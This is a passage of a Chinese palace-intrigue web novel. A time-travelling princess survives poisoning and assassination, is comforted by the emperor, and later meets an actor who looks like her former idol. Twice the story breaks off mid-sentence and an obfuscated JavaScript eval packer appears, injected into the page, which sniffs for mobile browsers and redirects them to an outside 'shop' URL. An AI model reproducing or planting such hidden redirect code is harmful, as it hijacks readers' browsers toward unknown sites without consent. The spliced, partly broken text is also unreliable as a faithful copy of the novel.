“让太医先救地上这位男子,他方才救了本公主一命。” “那就不必劳烦公主操心了,臣奉皇命将这五人带走。”陆今年已经走到温吟知面前,补充一句道:“就算是一具死得凉透的死尸,臣今夜也得将他带走。” “这是——皇命。”后面那两个字,陆今年特地咬着重音说出。 陆今年带来的人动作迅速的抬起地上的男子。 地上的男子被人拖着离去,双膝时不时摩挲过地面。他很努力地想抬起眼,可是他怎么努力都无法抬起眼看她,仿佛那落在他眼皮的雨水有千斤重般。 温吟知在皇宫里见过太过犯了错的宫人,就是这么双膝跪着被拖了出去,然后扔在乱葬岗里。饶是见过再多次,此时此刻她都无法平静的接受这一切。 她侧目看向颜晚周,希望他能站出来帮她。但颜晚周对于她的目光无动于衷,只是下令押解在场所有人回去复命。 温吟知不由收回目光,如今她温吟知,堂堂父皇最喜爱的公主,竟然连一个人都留不住。 救她的那人他会死吗?那余下的四位‘非当代之人’也会死吗? 温吟知低低笑着闭上眼,再睁开眼时她笑得胸腔都在颤抖,“我真的过够了这种日子。” 陆今年看着她隐有些疯狂的姿态,唇边笑意越来越大。一晚上差点死了两次,换谁在这种情况下还能笑出声来。果然这位雍朝六公主,真不是一般人。 颜晚周抬手屏退众人,旁观着温吟知与陆今年二人的交锋。 “不争,也是错。”温吟知无力地说道,她感到一阵前所未有的心寒。被她发现了安魂汤杀人的秘密,她一母同胞的好哥哥干脆将计就计,借父皇之手杀她。 毕竟秘密一旦被曝光,再想向她下手就难了。所以他宁愿选择这种自损八百也要伤敌一千的招数,也要将她杀了。 温吟知又想起了困扰她一个月的噩梦,果然梦里梦外,她的亲哥哥都不打算放过她。 温吟知姿态从容地整理自己因为打斗乱了的衣袖,再抬眼时心中似早有定论。 她说:“雍朝王室姓温,本公主也姓温。回去告诉你主子,这次是他逼我的。” 陆今年笑弯了眼睛,果然她都猜到了。他能这么快爬上大祭司这个位置,自然少不了人帮衬。只可惜这皇宫里没有绝对的对与错,有的只有立场不同。 “公主要如何。”陆今年一副看热闹不嫌事大的样子。 温吟知笑容诡异地看着陆今年:“他不会以为,他赢了吧?” 憋屈了这么久收敛自己的脾性,她都差点忘记了自己可是一位来自后世的灵魂。她可是顶级皇室培养出来的穿越女,她可容不下这口气。 温吟知唇边的笑意慢慢扩散,雨水从她漂亮的脸颊边滑落。 滴——水珠滴落在地上。 她的身子也缓缓向后倒去。 4. 雨夜将明 陆今年没去接温吟知,倒是反应迅速的颜晚周接住了她。陆今年的伞稍微向颜晚周怀里的温吟知倾斜,稍稍为她遮去雨水。 “真晕过去了呀。”陆今年笑着感慨道,忆起暗探回禀过的信息。 公主冒着雨夜闯太医院,连把伞都没有。 哦她的伞拿来打他了,然后被颜晚周捏烂了,颜晚周便没还她了。 陆今年越想越开心,嗯他跟颜晚周果然都不是什么好东西。 春婳一拳打在颜晚周抱温吟知的手上,颜晚周吃痛,一瞬间春婳就顺利抱住温吟知的身体。春雪也立即撑着伞赶来,气势汹汹地看着陆今年和颜晚周二人道:“此事没完!” 陆今年笑着点点头,丝毫不在意春雪的威胁,“以退为进,一箭双雕,此计不错。” 颜晚周就更不畏惧春雪的威胁了,今晚他还帮了公主,直接找禁军前去营救她,再怎么算账都算不到他身上。真正要头疼的是那快要住上东宫的那一位。 太监的声音穿透雨帘传进众人的耳膜中:“陛下驾到!” 在场的所有人无论在做什么,身处何地,都纷纷停下手中的动作,双膝跪在雨中。 春雪立即跪在雍和帝面前,脸上滑落的已经不知是雨水还是泪水。她的哭声响彻整个太医院:“陛下!有人要杀公主!” 抱着温吟知的春婳也上前一步,跪在春雪旁边。雍和帝身边的太监眼尖地去替春婳打伞,以免她怀中的公主继续被雨淋到。 春雪强忍住泪水,递上凶证——黑衣人的刀。 她抽泣着回禀这一夜的经过:“在这天子身前,深宫之中。有人竟然敢下药毒害公主,驱使禁军为他所用,继续杀害公主。若是方才有名男子救了公主,陛下恐怕已经见不着公主了!” “陛下!”春雪高呼一声陛下后,头重重磕碰在地:“您可一定要为公主做主!” 春婳也亦然。二人多年来打配合的默契,就连弯腰的幅度都是一样的。 公主说过了,能在皇宫里活下来的没有一个人是蠢人。她不能保证每次出事时她都在,更不能保证她每次都会赢。 所以当公主不在或者无法处理某些事情的时候,就该轮到她们的上场了。 公主说,这叫最强辅助团。 果不其然,雍和帝扶起春婳,目光落在温吟知一张毫无生气苍白的脸上。 “查!给朕严查!”雍和帝压抑着满腔怒火,他倒是要看看是谁要杀他最宝贵的女儿。 “宣太医。”雍和帝下令并封锁整座太医院,今夜事情未查明之前,所有人不许进出。 春雪立刻去寻了李太医为温吟知看诊,雍和帝就坐在床侧,在场所有人均大气不敢出。 在此期间雍和帝身边的大太监李圆德已经将公主这一月的问诊记录,以及药渣都派人整理清楚。甚至还连夜传唤一直为公主看诊的太医进宫。那些刺杀公主的黑衣人被捕后,竟然咬破牙齿间毒药自尽。 李太医把脉后,一脸为难的样子,跪在递上不敢回话。 雍和帝可没那么好的耐心:“说。” 李太医惶恐地向雍和帝回禀:“虽公主发现得早,察觉了此安神汤有问题,但终究还是伤了身子……” 李太医悄悄抬头观察雍和帝脸色:“这还是损了阳寿。” 雍和帝呼吸瞬间加重。 春雪春婳均脸色一变,特别是春雪,她无法置信地追问李太医:“你再把脉一遍!绝对是你弄错了!” 李太医摇头:“老臣已经仔仔细细替公主把脉几回了,不会错的。公主近来身子骨就不好,又雨夜极限逃命,这才晕厥过去。” 春雪无法接受这个事实,她抓着李太医的肩膀:“不可能!绝对是你弄错了!” 春婳抓起春雪,以免她继续御前失仪。李太医这才挣脱,连忙逃跑道:“臣这就写方子抓药。” 雍和帝对春雪的失态并不责罚,他只是冷着脸起身向外走去。倒是雍和帝身边的大太监李圆德提点她们一句:“看好你家公主,莫再出事了。” 春雪便立刻抹掉眼角的泪水,对春婳道:“你去监督那个李太医。” 春婳直接出门追李太医,新来的人还没摸底,她们都不放心。 雍和帝去查今夜一事,待春雪喂温吟知喝下李太医熬好的药时,雍和帝又回来了。只不过他回来时,脸色更加难看。 雍和帝坐在床侧,服药过后的温吟知眉头紧锁,唇色比之前更加苍白。雍和帝斜晲一眼李太医,那眼神仿佛在说你也要害朕的公主吗? 李太医额头上瞬间冒出一层冷汗,他还指望着入公主阵营,怎么可能会加害公主。 他再次上前去替温吟知把脉,一滴冷汗从脸颊滑落:“是起药效了,怎么会状态更不好。” 下一瞬屋内的所有人都听见温吟知的痛呼:“父皇……不要死……” “母后,女儿好痛……”温吟知将自己的身体蜷缩成一团,无意识地呢喃:“不要死……” 春雪心疼的解释:“陛下,公主这是又梦魇了。” 雍和帝唤温吟知的小名:“浓浓父皇在,不怕。没有人能让你死,父皇会一直护着你的。” 但是梦中的温吟知听不见父皇的承诺,她一直在重复这这两句话,完全处于很不安的状态下。 雍和帝见状不对,试图唤醒她:“浓浓醒醒。” “醒醒。” 雍和帝唤了温吟知很多次,甚至上手推她这才将她唤醒。但她醒来的第一刻却是将自己蜷缩在角落里,抱着自己的双膝,牙齿一口咬在手臂上,身子忍不住的颤抖。 疼。 浑身都好疼。 特别是心口更疼。 “浓浓——”雍和帝心疼得不知该如何是好。他知晓女儿这一月来都在梦魇,却不知晓会严重到如此程度。看来是今夜一事,让她受了莫大的刺激。 “浓浓别怕,父皇一定会给你一个交代的。”雍和帝缓缓靠近温吟知,然后试图解救出被她死死咬住的那只手:“好浓浓,乖松口,别伤害自己。” 温吟知眼中有短暂的清醒,她缓缓抬起头,问:“父皇?” “是父皇。”雍和帝放柔了声音和她说话。 “父皇,女儿好怕。”她仰起脸,眼眶通红地看着雍和帝:“梦里梦外都有人要杀女儿,父皇母后都死了,春雪春婳她们也死了。” “父皇派来保护女儿的人都死了。” “所有人都死了……”她整个人像翱翔于空中又剪断线的风筝,摇摇欲坠。 温吟知说着她梦里的一切,雍和帝以为她是受了刺激才如此,安慰她:“浓浓别怕,所有人都好好活着。父皇会派更多的人保护浓浓,不会再让旁人伤害浓浓的。” 雍和帝轻拍着温吟知的后背,像对待婴儿时的她一般,轻轻安抚着。 温吟知失焦的眼神渐渐重聚,不安地问:“真的吗?” 雍和帝点点头,得到肯定回复的温吟知的情绪缓缓平静下来:“那能从禁军中抽出一部分人保护女儿吗?” 雍和帝迟疑了会,温吟知在等待这个答案。 后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309888|198783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫的女人争宠,争的是父皇的宠爱。她温吟知也争,不过她争的更多。争得是父皇给她的人手,她要兵,也要权。 反正不争,也是死。 况且她被下毒被暗杀这笔账,她必然要追算回来。 雍和帝思虑再三后说:“禁军都是有官职的男子,他们不方便保护你。父皇允你自行组建一护卫队,从父皇培育的死士里挑选。” 如此便够了,温吟知心想,她本意也不是要禁军的人。 她朝父皇道了谢,又问:“父皇可有查到今夜杀害女儿的凶手。” 雍和帝眼神有些闪避:“浓浓先歇息,父皇会将此事处理好的。” 温吟知颔首,装作什么都不知道的样子,问:“那救女儿的男子呢?真是巧了,那黑衣人将刀抹在女儿脖子时,他刚好伸手抓住黑衣人的脚踝,多亏了这位福星,女儿才成功脱险。” 雍和帝看着女儿如此虚弱,却还要努力让他这位父亲不要担心的模样,道:“朕会好好嘉赏他的。” 一旁的李圆德偷偷看了雍和帝两眼,雍和帝知晓他有话要说,见温吟知已经醒来他便不再停留。一出门外李圆德就贴在雍和帝耳边私语:“救公主之人正是祭坛上的男子。” 雍和帝又想起浓浓说的‘福星’二字,他沉思了会道:“让太医好生医治,等此事了,发点赏赐送出宫去。” 李圆德又问:“那其余四名呢?” 雍和帝说:“嘴牢的一块送出宫去。” “嗻。”李圆德应道,陛下这是看在公主的份上网开一面了。 雍和帝继续往外走去,陆今年和颜晚周在屋外回廊上等着。二人向雍和帝行礼,雍和帝从门外出来一直瞧着陆今年在抬头望天,好奇询问:“爱卿,这夜观天象可有什么收获吗?” 陆今年作揖回答:“是些收获,还同永宁公主有关系。” 雍和帝来了兴趣:“哦?说来听听。” 陆今年:“臣夜观天象,所幸得天神明示。事因公主久居栖鸾宫,吸足紫气已满。因岁至不嫁,致雍朝星宿晦暗,故招致梦魇。这破解之法,便是替公主寻一门好亲事,早早将公主嫁出去便可解。” 陆今年说罢,颜晚周眼覆冰霜,也给出了他的见解:“臣与大祭司一同夜观天象,并无此结论。雍朝星宿晦暗,那是因为今夜是个雨夜。” 陆今年笑笑不说话,乖巧退至一旁,一副全凭陛下做决定的样子。怀疑种子已下,剩下便是等种子生根发芽结果。 雍和帝不语,只是一味地抬头望天。颜晚周陆今年二人就站在雍和帝身后,最后雍和帝一言不发地离开了。 陆今年回头朝颜晚周笑了笑,今晚他的目的已经达成了。 颜晚周厌恶地撇过脸去,陆今年更加愉悦,他笑着说:“公主那一声声痛呼,演得可真逼真。” “你是她吗?”颜晚周立刻回头严厉质问陆今年:“你不曾与她感同身受,你又怎知她是演得!” 陆今年被颜晚周这么大的反应吓了一跳,他咒骂一句:“有病。” 颜晚周也不甘示弱回他:“夏虫不可语冰。” 二人再次不欢而散。 春雪扶着温吟知出现在门外,亲眼目睹二人背道而驰地离开。 夜空已不再飘雨,温吟知伸手去接屋檐下滴落的雨珠,道:“春雪,去帮我准备一份女子路引。” 春雪应下却还是疑惑多问了句:“公主要隐姓埋名出宫?” 温吟知笑了笑,看着天边翻白的一线,答非所问:“雨夜将明,向死而生。” 5. 那只雨蝶 天泛白,夜将明。 父皇要去上早朝了。不出意外,她一母同胞的好哥哥温元钦也会出现在早朝上。父皇会如何处置他呢?还会将他继续立为储君吗?温吟知倒是十分想知晓后续,但她太累了,一回栖鸾宫后就沉沉睡去。 与此同时养心殿内,温元钦正跪在雍和帝面前,忏悔地求雍和帝责罚:“请父皇责罚儿臣。” 温元钦双手掌心呈上,十分后悔的模样:“儿臣不知这安魂汤竟会损人阳寿,当日才会在太医劝母后帮浓浓换个方子时,帮劝了一句。虽出于好心,但亦是伤害到了浓浓。” “这一切都是儿臣的错,儿臣甘愿领罚。”他叩首,言语神态都十分诚恳。 坐在上方的雍和帝俯视打量着地上的温元钦,当日替浓浓看病的太医瞧见方子不起效果,曾去寻求皇后的意见是否要换个方子,恰巧碰见了前来请安的温元钦。 事发之后,太医拒不承认这方子会损害人命,并声称这是历朝历代沿用下来的古方子。温元钦与太医私下也并无往来,所有的一切看上去都只是一场巧合。 但真的有那么巧?浓浓发现药有问题后,夜闯太医院,杀手没多久便来了。能在这皇宫的禁军里安插杀手,这人可真是权势滔天。 “元钦。”雍和帝目光沉沉锁定在温元钦身上:“父皇只是老了,不是死了。” 温元钦匍匐在地,不敢直视龙颜。 帝王威压再次袭来,雍和帝压抑着满腔怒火:“朕再问你一遍,昨夜之事当真不是你的手笔吗?” 温元钦立刻回答:“劝说母后换方子一事,儿臣有错。但派杀手一事,不是儿臣。” 温元钦话音一落,雍和帝就忍不住拿起藤条抽打在温元钦的后背上:“你敢对天发誓,你绝对没害你妹妹?” 温元钦被打的闷哼两声,抬起手指忍着痛朝天发誓:“我温元钦,绝无残害幼妹之意。若有此想法,必遭天诛。” 誓言一出,雍和帝手上的动作有一瞬间愣住。 温元钦趁机挺直腰板,用着满眼破碎的眼神看向雍和帝:“父皇,母后一共生育儿子与哥哥妹妹三人。” “儿子已经失去哥哥了……”他哽咽,泪水无声从眼角滑落,就这么楚楚可怜看着雍和帝说:“怎么会再舍得失去妹妹……” 雍和帝手中的藤条无声掉落,他踉跄两步,手掌撑在龙椅扶手上,背对着温元钦颓然道:“出去。” 温元钦惶恐:“父皇……” 雍和帝抬手:“朕近日都不想再见你。” 又喊李圆德:“送四皇子出宫回府,再让陆爱卿把仙丹送来。” 温元钦眼含热泪,重重叩首:“儿子——” 他声音里带有哭腔:“领命。” 李圆德送他出殿门。 温元钦恭敬朝李圆德道:“父皇交代李公公的事要紧,元钦自个出宫便可,不多劳烦李公公了。” 李圆德:“洒家就多谢殿□□谅,让这小子替洒家送殿下。” 李公公指着身侧的小太监。 温元钦颔首,两人一路往宫门处走去,温元钦提出要去茅厕一趟,不必跟随。小太监候在茅房外,温元钦进去后就看见摆着一张臭脸的陆今年。 他不悦地说:“婚事已提,殿下还有何吩咐。” 温元钦背上的伤口抽痛,他一改方才温煦无害的模样,道:“父皇禁了本殿的足,归期不定。” 陆今年一听,乐了。对于每次碰面都在茅厕一事,他都没那么介怀了。 陆今年抖了抖腰带:“此次失手,再想杀她就难了。” 温元钦自然知晓,但当务之急已经不是这个。他吩咐道:“本殿不在,你尽快让浓浓与林二的婚事定下来。” “行。”陆今年已经整理好衣裳,二人确定好后面的事宜后,温元钦先出了茅厕。陆今年在原地跺脚,觉得身上的熏香也掩盖不了这股臭味。 —— 温吟知醒来的时候,已经得知温元钦被禁足的消息。这个答案倒在她的意料之中,手心手背都是肉,父皇不会杀温元钦的。 但朝局会变。 父皇已无成年的皇子了。 她大哥即太子已逝,二哥三哥没长到成人,均病逝。四哥便是温元钦。五哥倒是活到了成年,却在十八岁时,为救溺水的未婚妻跳入江中,双双殒命。 接下来排行第六的便是她了。 再往下七八都是公主,老七夭折,老九倒是儿子却没活过两岁,小十弟今年才三岁。 所有人都无疑温元钦会是下一位太子。温元钦这一次禁足,无疑给朝局带来巨大的震撼。 半月之后,春雪来报:“李公公派人前来同公主说一声,那五人已平安放出宫。陛下将此事压下,我们的人查不到任何那五人的一点信息。” 温吟知正在打理她殿外小花坛种着的稻子,平静地说了句:“我知晓了。” 又半月之后,春雪带着一太监前来求见。 太监说:“公主,林二公子邀您至宫外一聚。” 温吟知刚午睡起,人还未完全清醒。她看着栖鸾宫的门沿被打扫得一尘不染,没有血也没有血腥味。夏风吹过还带来小花坛上稻穗的清香。 春雪上前附在温吟知耳边私语:“大祭司昨日又向陛下提起公主的婚事,今日林二公子便前来求见公主,恐是想与公主商量婚事。” 闻言,温吟知慢慢抬眼看了太监一眼。 太监是个人精,立即回禀:“林二公子知晓公主这月都深居浅出的,特地为公主寻来一戏子,献于公主。” “公子说,这戏子的唱法是个新鲜玩意,望博公主一笑。” 这一月来温元钦还在禁足中,而她在配合李太医将体内余毒排清,以及在和梦魇做对抗。她一直在等温元钦使出林飞白这张牌,如今温元钦终于按捺不住了。 新鲜玩意?恐只是诱她出宫的借口罢了。温吟知轻笑,她一个二十一世纪穿来的人,什么新鲜事物没有见过? 她倒是要看看,这位戏子到底是如何的‘新鲜’。 “春雪。”温吟知唤她。 春雪福了福身:“公主。” 温吟知站起身,长袖一甩,双手正交叠于腹部,道:“换身行头,出宫。” 此时正值八月,天气炎热。温吟知此行目的是林家特得为父皇建设的避暑山庄。 浩浩荡荡百来号人护卫公主出行,途中天空还飘了一场小雨降温。到达避暑山庄时,春雪先下车打开伞。早就候在避暑山庄的众人纷纷屏息,一双洁白修长的手掀起珠帘,一张明媚娇嫩的脸缓缓出现在众人视线里。 林家的林管家躬着腰上前:“二公子特派草民在此恭候公主,请公主独自一人前往兰亭。” 春雪站在温吟知身侧替她打伞,春婳听到‘独自一个人’时,便双手环着刀站在温吟知身后。春雪春婳都被一月前的毒杀加追杀吓到了,如今她们都不会让公主一人独行。 温吟知浅笑盈盈,默不作声。 林管家也回以笑脸:“二公子知晓公主身侧不能离人的规矩,只是二公子为公主准备的新鲜玩意,人多了便会打乱公子的安排。” “所以请二位姑娘能否远远跟着公主,由公主亲自揭开这份惊喜。” ‘人多了便会打乱公子的安排’这句话怕不是说会打乱暗杀她的安排?林飞白不会杀她,林家也更不会杀她,他们这一家对这门婚事十分看重。 那便是话本里常见的手段了,下春药让她失身彻底与林家绑死吗?越往深处想,温吟知心里就越发好奇,接下来会发生什么。 温吟知顺势接过春雪手中的伞,独自一人踏上兰亭的青石小径。春婳见状借力飞上山庄的屋檐,这样方便她在高处掌握全局。 远远地,温吟知瞧见青石小径旁长满了路边随处可见的白色小雏菊。这种野花按理说并不会出现在避暑山庄中,很明显是有人特意移植过来的。 温吟知心里提高十二分警惕,再往前迈的步子都变得谨慎许多。一阵风吹动,随风摇曳的雏菊竟然动了。那是一种挣脱枝头,随风而动的自由。 原来她方才瞧见得并不只是雏菊,还有停在雏菊花蕊中隐密在一起静止的蝶。 从春婳的视角看去,满枝蝴蝶,漫天飞舞。温吟知身着一袭轻柔似烟的碧水青烟纱裙,娉婷而立撑伞站在其中,仿若从古典诗画中翩然走出的佳人。 春婳以为这是林二公子特地为公主寻来的浪漫,但温吟知并不是这么想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309889|198783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得。她先是震惊了两秒后,缓缓地在原地转了个圈时,眼睛飞快打量着四周的环境。 眼尖的她发现远处的阁楼上藏有人,她的目光一看过去,就瞧见林飞白那张笑得花容灿烂的脸。还有那往楼内躲去,一闪而过的人影。 林飞白开心地朝她挥手,声音里全是隐藏不住的欢喜:“公主喜欢吗?” 温吟知直直盯着林飞白身后,那再也没人出现。 “公主。”林飞白再次喊她,被晒得乌黑的一张脸上,是真切的笑容里怎么都隐藏不住的大白牙。 林飞白是真心喜欢她的。 但—— 温吟知抬眼,看着林飞白这傻二哈的模样,以及这漫天飞舞由菜青虫破茧而成的蝴蝶,空气中还弥漫着一股花香。 她也真心说不出口那句喜欢。 十分熟悉宫斗剧本的温吟知拿起手帕捂住口鼻,害怕有人在花香上动手脚。 根本不需要温吟知回应,只需要她一个眼神就会自动脑补的林飞白,边大声喊边做着往前走的手势:“公主往前走。” 林飞白这般殷勤,温吟知疑心更重了。她自幼便与林飞白相识,知晓他心思单纯并无害她之意。 但——他容易被人利用啊。 说实话温吟知不想往前走了。明知山有虎,偏向虎中行那她便是傻子。 她想直接去寻林飞白,有一只颜色与众不同的蝴蝶扑朔着翅膀一直停飞在她面前。见温吟知留意到它了,它便往前飞一段路,再停飞在那个位子等温吟知寻它。 温吟知试着走向它,它便会开心地继续往前走。温吟知不走,它便也不走,还会折回去停在她面前。 它似乎一直在等她。 温吟知竟然被它引至一座小院之中。蝴蝶已经不走了,它停留在紧闭的房门上。 鬼使神差之下,温吟知轻轻推开房门,入目是一间漆黑的大屋子。黑黑的屋子里高低分明,往里是砌着一米高的台子,往外是平地,平地上摆着一张红木雕花桌子和椅子。桌上摆放着茶几、糕点、水果。 屋内的布局犹如现代舞台剧,而这套桌椅似乎在等着她这位唯一的观众。 温吟知忍不住向桌椅,待她坐下后,身后的门倏地被关上。屋内顿时漆黑一片,伸手瞧不见五指。只听见墙壁上发出锵锵的声音。 温吟知下意识摸向藏在腰间的匕首,忽然一束光打在台上。 她看见引她而来的那只蝶,正循着光的方向飞去。 ‘锵锵’的声音越来越响,那是墙壁被人抽走砖块发出的声音。越来越多的光汇聚在舞台上,光影交汇之间,垂在舞台中间的三千青丝从中间被左右两边缓缓拉开。 奏乐声响,舞台中央有一穿着白蓝交织衣裳的男子身后绑着两条白色的带子,静止站在半空中。 温吟知的心跳再次加速,她直勾勾盯着舞台上的男子。台上那人眉眼精致,墨发上束一枚白玉簪,清冷的似溪边一湾秋水。不知从哪吹来的风吹动他白色袖纱带,飘逸的在空中绘画出风的模样。 原本一直垂眸的男子缓缓抬眸,望向台下的女子。 二人目光穿越黑暗交汇,对上他清冷又完全陌生的眸子。 温吟知浑身僵硬,心快跳出胸腔。 这张脸……这张脸……怎么和肖赢长得一模一样! 舞台上的他在缓缓下降,那引温吟知而来的蝶往他的方向飞呀飞。温吟知静静看着它,亲眼目睹它落在他的肩上,展翅停息。 然后它从光中飞向黑暗,消失不见。 仿佛它的使命已经完成一般,只为引她而来。 眼眶不知为何忽然湿润了,异样的情绪涌上心头,只觉得心里发涩。 温吟知望着他,舞台上的他已平安降落。从舞台左右两边小跑出来的舞娘解着他身上的白色带子,然后迅速站位。 温吟知颤抖地拿起茶盏,试图喝口热茶安抚自己的情绪。 琵琶、竹笛、古筝、二胡,伴奏声响。温吟知慌乱抬头,与他长久相看。他一开口,便是熟悉的兰亭序曲调。 温吟知手上的茶盏失手摔在地上。 这世间…… 怎么会有长得与肖赢如此相像外,连同声音都一模一样的人? 6. 悲伤的欢喜 黑暗的环境中,唯一的光是打在舞台上的。 公主打碎的茶盏并没有影响演出,似乎早就有人与台上的所有人都交代过一般,都一心投入这场演出上。 隔着一席舞台。 一个在台上,一个在台下。 一个高声唱,一个静静听。 一个满眼清冷,一个眼含热泪。 千年之后的词,千年之后的曲。 一字未改、原曲原词。 一切仿佛回到了现代。 在那个灯光汇聚,人声鼎沸。全场落下飘扬金色彩带的舞台上,她曾经喜欢的偶像就站在那,闪闪发光。 她怔怔看着台上被光照亮的男子,思绪飘到穿越前那个夜晚。 那是十六年前的事了。 这些年来,她怎么也想不起那张照片上年轻俊美男人的容颜。仿佛前世,还有那位惊世绝伦的人,均是她臆想的大梦一场。 直到这一刻,台上那人的容貌同照片的人完全重合了。前世那些鲜艳的岁月,如汹涌的海水般向她涌来,直直将她淹没在回忆之海中。 她从未幻想过,她会再次遇见肖赢。 在这个朝代,这个场合,以这样的身份再次相遇。 前世喜欢十年的偶像,跨过时空与人海,如今就站在你面前。 她就坐在那,笑着听完了这一曲。 她的眼底,是她自己从未见过的悲喜交加的汹涌爱意。 一曲毕,‘肖赢’带着所有演出人员朝台下观众谢幕。鎏金彩带从屋顶飘落,在光中闪烁。 谢幕后,‘肖赢’这才带领舞台上的众人跪下请罪。 谢幕是出于职业素养要完美完成这一出作品,现在的请罪是普通百姓对天潢贵胄的敬畏。 恰恰也是这一跪,跪醒了温吟知。 提醒着她如今是在雍朝,她是雍朝的六公主,‘肖赢’是戏子。 台上的人不敢动,均低着头等候公主发落。他们瞧不见台下公主的神色,自然不知晓公主那双明媚的眼睛逐渐变为悲伤的寂寥。 沉默不久后,屋内方才响起温吟知平缓的声音。 她说:“唱得好、跳得好、弹得好,舞台效果设计的也很好。” 她夸奖了所有人:“起身吧,都赏。” 舞台上除‘肖赢’外,紧绷的众人缓缓松了口气。 温吟知目不转睛地看着‘肖赢’,在心里做了许久建设后,方才问出这个问题:“你……你叫什么名字。” 她的心从未有过一刻,这般激烈过的起伏着。 原本一直低眉的人悄慢抬头,尚未完全飘落的鎏金彩带漫过他的眉眼,依然清晰可见这张生得十分好的脸,太过清减。 温吟知抬手按住胸口——这里,方才隐隐地疼。 台上男子在窥见台下女子的容颜后,方才不疾不徐道:“回禀公主,小人名肖郢(yǐng)。” 不是在荧屏里听过很多次熟悉的自我介绍——大家好,我是肖赢。 而是——公主,小人名肖郢。 温吟知凝眉,郢? 是郢不是赢。 赢与郢,一个第二声,一个第三声。 字虽不同,音却十分相近。 温吟知追问: “哪个肖?是眉宇肖苍龙的肖,还是萧萧风雨五更初的萧。” “郢,又是哪个郢?” 肖郢平静地说道:“不是草字头的萧,郢是地名。” 温吟知:“肖郢。” 肖郢:“是。” 肖是父姓,郢是地名,按照现代地理图册,当属湖北。 名对不上,温吟知却还是继续追问:“你方才唱的这曲名为?” 肖郢答道:“兰亭序。” 她眼中一闪而过的惊讶,以为他乡遇故知。 却在下一秒听见他说:“这是岭南时兴的一首曲,小人偶然间听闻,便借花献佛献于公主。” 仅仅短短的一句话便解释了此曲的来龙去脉。 温吟知张了张口,有好多话想同他说又不知晓从何说起。最终在对上肖郢望向她时,那清冷陌生疏离的眼神时,她猛然发觉。她忘了肖郢即使是肖赢,也真的不认识她。她只是他微博一亿多粉丝中,微不足道的一员罢了。 但……在新的朝代,她与他或许有新的机会,重新认识一次? 她犹豫着要不要自爆身份,引导肖郢与她相认。 但—— 她骨子里的我,变了。 因为那该死的预言,以及她十六年的帝王教育教化,让她无法轻易相信任何人。 “公主!”正当温吟知思考时,林飞白推开门,提着一笼子扑簌的蝴蝶,欢喜地朝她跑来。 温吟知回头看向林飞白,他脸上的笑容更胜了。 林飞白将笼子放置在桌子上,挥挥手让众人下去,然后滔滔不绝地为温吟知讲解这一场布置。 “我方才在后台都听到了,你夸她们‘唱得好、跳得好、弹得好,舞台效果设计的也很好’。”少年眼中仿佛若有光,目光炯炯地看着温吟知,问:“那公主可知这舞台是如何设计的吗?” 温吟知不语,眼神越过林飞白看向一步步远离的肖郢。向来仪态十分出色的他竟然微弯着腰,手抵在唇边,肩胛骨在单薄的衣衫下耸动着——他在极力忍着咳嗽。 他生病了吗?所以才这么清减吗? 古代没有吊威亚,全靠人力将他悬挂在半空中。肖郢两侧的肩膀以及腋下一定很疼,指不准早已磨破皮擦伤。 众人屏退,房门大开,蜡烛点燃,屋子都亮堂了。 林飞白跑到舞台侧方,力气很大的他抱出一台木制手摇鼓风机。 林飞白说:“舞台上那唱曲的角,袖带上的风便是由此吹出来的。我们试过了好多位置,才掌握好风向的。” “还有舞台上的光。”林飞白飞速跑到墙边,抽出一块砖,让外界的光从砖洞中透进来。 他又将砖塞回,跑回温吟知身侧,指着笼中的蝴蝶说:“还有这蝶,也是让附近的菜农捉了几百只菜花虫,等它们破茧成蝶时。再用数十种花蕊与水浸泡,得出的花蕊水与蜂蜜、米酒混合在一起,涂在公主来时路上的雏菊上,引这群蝴蝶停息在雏菊上。” 他自豪地说:“这样公主在远处瞧见得便是一片白色的雏菊,走近时满枝蝴蝶,纷纷振翅飞舞。公主你就在站着这花丛中,所有的蝶儿都围绕你一人,犹如画中仙境一般。” 林飞白得意地扬起嘴角:“怎么样,公主我是不是很棒!” 话落,温吟知起身越过林飞白,飞快朝屋外跑去。留下在原地呆愣的林飞白。 春婳倚在门口处,瞧见屋内的动静后,她看了看屋外这场雨,摸了摸手边的油纸伞。 “公主带伞。”春婳在温吟知越过她前,提醒道。 温吟知顺手接下,动作迅速地打开伞。她左手提着裙子,右手撑着伞跑在青石径路上。 她跑得急促,很快便瞧见了肖郢的身影,他走在人群里的最后头。 “肖郢。”她大声呼喊他的名字。 肖郢听到了。 他顿身,回头。 方才与肖郢一块演出的众人见公主只喊了肖郢一人,见状纷纷散去。 温吟知快速跑到肖郢身侧,她手上的伞向他倾斜。 他们是戏子,是奴籍,演出结束时府上是没有为他们备伞的。 肖郢留意到这向他倾斜的伞,静静站在原地注视着她。 她鼓起了好大的勇气才跑出来追他,亦是做了好久的心理准备才问出这句:“公子,我们之前见过吗?” 肖郢看着眼前的姑娘,看向他时晶莹明亮又隐隐含有期待的眼神,平静说道:“公主认错人了。” 话出口的那一瞬间,肖郢清楚地瞧见她脸上难掩的失落。 “你……”温吟知停顿,“真的没有见过我?” “我们真的不认识吗?” 二连追问,肖郢依旧坚定地摇头,给了她否定的答案。 “好。”温吟知缓缓答了个好,眼含泪光笑着朝肖郢点头:“悬挂空中不易,感谢公子的演出,稍后会有府医为公子看诊。” 她将伞塞进肖郢手里:“下雨了,肖公子带着伞走吧。” 